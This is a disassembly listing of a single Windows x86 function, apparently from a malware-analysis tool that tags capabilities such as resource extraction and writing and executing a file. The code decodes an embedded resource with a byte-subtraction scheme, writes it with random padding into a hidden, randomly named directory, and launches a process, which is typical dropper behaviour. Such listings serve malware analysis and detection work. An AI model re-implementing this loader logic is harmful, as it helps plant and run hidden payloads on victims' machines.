Function at 0x40206c
Capabilities:
Copy file
Create directory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6cc
push esi
push edi
push 0x4071b8
push 0x94
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 0
jne 0x40209f
xor eax, eax
jmp 0x402590
mov eax, dword [ebp - 0x6c8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x4020c4
xor eax, eax
jmp 0x402590
mov ecx, dword [ebp - 0x6c8]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov dword [ebp - 0x46c], eax
mov edx, dword [ebp - 0x32c]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
jne 0x4020ef
xor eax, eax
jmp 0x402590
mov eax, dword [ebp - 0x46c]
push eax
mov ecx, dword [ebp - 0x32c]
push ecx
call dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCRT.DLL_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx + 1]
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x330], 0
jmp 0x402143
mov ecx, dword [ebp - 0x330]
add ecx, 1
mov dword [ebp - 0x330], ecx
mov edx, dword [ebp - 0x330]
cmp edx, dword [ebp - 0x46c]
jge 0x4021e8
mov eax, dword [ebp - 0x330]
cdq
mov ecx, 3
idiv ecx
cmp edx, 2
jne 0x402181
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x330]
mov al, byte [edx]
sub al, byte [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x330]
mov byte [ecx], al
mov eax, dword [ebp - 0x330]
cdq
mov ecx, 3
idiv ecx
cmp edx, 1
jne 0x4021b0
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x330]
mov al, byte [edx]
sub al, byte [ebp - 0x224]
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x330]
mov byte [ecx], al
mov eax, dword [ebp - 0x330]
cdq
mov ecx, 3
idiv ecx
test edx, edx
jne 0x4021e3
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x224]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x330]
mov cl, byte [eax]
sub cl, dl
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x330]
mov byte [edx], cl
jmp 0x402134
mov byte [ebp - 0x468], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x467]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x220], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x21f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x340], 0
xor eax, eax
mov dword [ebp - 0x33f], eax
mov dword [ebp - 0x33b], eax
mov dword [ebp - 0x337], eax
mov word [ebp - 0x333], ax
mov byte [ebp - 0x331], al
push 5
lea ecx, [ebp - 0x340]
push ecx
call fcn.00401b0b
add esp, 8
lea edx, [ebp - 0x340]
push edx
push 0x4071bc
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
push 0
lea ecx, [ebp - 0x468]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
jne 0x4022ad
lea edx, [ebp - 0x340]
push edx
push 0x4071d0
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
push 0
lea ecx, [ebp - 0x468]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 2
lea edx, [ebp - 0x468]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x10
push 0
lea eax, [ebp - 0x340]
push eax
call sub.MSVCRT.DLL_memset
add esp, 0xc
push 5
lea ecx, [ebp - 0x340]
push ecx
call fcn.00401b0b
add esp, 8
lea edx, [ebp - 0x340]
push edx
lea eax, [ebp - 0x468]
push eax
push 0x4071e4
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x4c0], eax
push 0
lea eax, [ebp - 0x4bc]
push eax
mov ecx, dword [ebp - 0x46c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x4c0]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
call dword [sym.imp.MSVCRT.DLL_rand]
cdq
mov ecx, 0xff
idiv ecx
mov dword [ebp - 0x4b8], edx
mov edx, dword [ebp - 0x4b8]
push edx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x470], 0
jmp 0x4023a1
mov ecx, dword [ebp - 0x470]
add ecx, 1
mov dword [ebp - 0x470], ecx
mov edx, dword [ebp - 0x470]
cmp edx, dword [ebp - 0x4b8]
jge 0x4023d4
call dword [sym.imp.MSVCRT.DLL_rand]
mov ecx, dword [ebp - 0x470]
add ecx, 0xfa
cdq
idiv ecx
mov eax, dword [ebp - 0x4c4]
add eax, dword [ebp - 0x470]
mov byte [eax], dl
jmp 0x402392
push 0
lea ecx, [ebp - 0x4bc]
push ecx
mov edx, dword [ebp - 0x4b8]
push edx
mov eax, dword [ebp - 0x4c4]
push eax
mov ecx, dword [ebp - 0x4c0]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
push 0
push 0
mov edx, dword [ebp - 0x4c0]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 0x4bc]
push eax
push 2
push 0x4071f0
mov ecx, dword [ebp - 0x4c0]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, dword [ebp - 0x4c0]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, 8
mov esi, 0x4071f4
lea edi, [ebp - 0x364]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp - 0x328], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x327]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10
push 0
lea eax, [ebp - 0x340]
push eax
call sub.MSVCRT.DLL_memset
add esp, 0xc
push 3
lea ecx, [ebp - 0x340]
push ecx
call fcn.00401b0b
add esp, 8
lea edx, [ebp - 0x340]
push edx
lea eax, [ebp - 0x468]
push eax
push 0x407218
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x10
push 0
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov byte [ebp - 0x6c4], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x6c3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x11c], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea ecx, [ebp - 0x11c]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [ebp - 0x11c]
push edx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
push 0x407224
lea edx, [ebp - 0x6c4]
push edx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x4b4], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x4b0]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x4b4], 0x44
mov dword [ebp - 0x4ac], 0x407238
mov word [ebp - 0x484], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x4b4]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x6c4]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret